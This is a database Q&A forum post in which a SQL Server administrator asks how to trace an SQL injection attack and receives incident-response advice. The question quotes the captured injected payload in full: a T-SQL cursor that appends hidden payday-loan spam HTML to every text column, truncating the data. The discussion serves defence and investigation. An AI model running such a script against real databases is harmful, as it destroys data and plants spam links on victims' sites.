Sql-server – How to get more information from dm_exec_query_stats

sql serversql-injectionsql-server-2012

I am running SQL server 2012 on windows azure VM (windows server 2012)

I suspected that some of my web appliactions are attacked via SQL injection,

So far i could not trace the relevant text with my app's logs or with SQL Profiler (found nothing), yet i have a high ammount of traffic so it was not easy to search it and the proccess might have been wrong.

Anyway, i used the following query :

select *
FROM sys.dm_exec_query_stats qs
CROSS APPLY sys.dm_exec_sql_text(qs.sql_handle) qt
where text like '%the_sql_injected_text%'

And did find the following :

set ansi_warnings off 
DECLARE @T VARCHAR(255),@C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR 
select 
    c.TABLE_NAME,c.COLUMN_NAME 
from INFORMATION_SCHEMA.columns c, 
INFORMATION_SCHEMA.tables t 
where c.DATA_TYPE in ('ntext','text') 
    and t.table_name=c.table_name 
    and t.table_type='BASE TABLE' 

OPEN Table_Cursor 

FETCH NEXT FROM Table_Cursor 
INTO @T,@C

WHILE(@@FETCH_STATUS=0) 
BEGIN 
    EXEC('UPDATE ['+@T+'] SET ['+@C+']=CONVERT(VARCHAR(8000),['+@C+'])+''</title><style>.
    ax1y{position:absolute;clip:rect(414px,auto,auto,414px);}</style><div class=ax1y>Payday lenders and asking <a href=http://paydayloansforus.com >payday max loans</a> be the amount you experience it.</div>'' ') 

    FETCH NEXT FROM Table_Cursor 
    INTO @T,@C 
END 

CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

I am intersted in knowing more about the source of the query, is there any more information I can get from it ? How should I go on from here ?

The information I am after may be an IP address, a user name or anything else that can help me find the source of this attack.

Best Answer

First, do your have columns of data type TEXT or NTEXT in your database? If

select 
c.TABLE_NAME,c.COLUMN_NAME 
from INFORMATION_SCHEMA.columns c, 
INFORMATION_SCHEMA.tables t 
where c.DATA_TYPE in ('ntext','text') 
and t.table_name=c.table_name 
and t.table_type='BASE TABLE'

returns any rows, you probably lost a lot of data during this attack, as the code truncates the existing values to 8000 characters. In that case you need to restore from a backup.

To answer your question, there is no direct way to get to that information from SQL Server. However, using the T-SQL code that was originally intended to be executed (the code that the above code was injected into), you should be able to identify the place in your app where the injection happened. From there you can look through the web site logs to find submissions to that particular page or form that took a long time or that submitted an unusual amount of characters. You can use the columns creation_time and last_execution_time in sys.dm_exec_query_stats to narrow down the time of the attack(s).

Important, once you have the place identified that allowed for the injection to happen, you need to close that gap immediately. You should also review the rest of the application to make sure that no other vulnerable spots lurk in your code. There is a little more information about what to look out for when injection-proofing your app here: http://sqlity.net/en/2547/sql-injection/

Related Question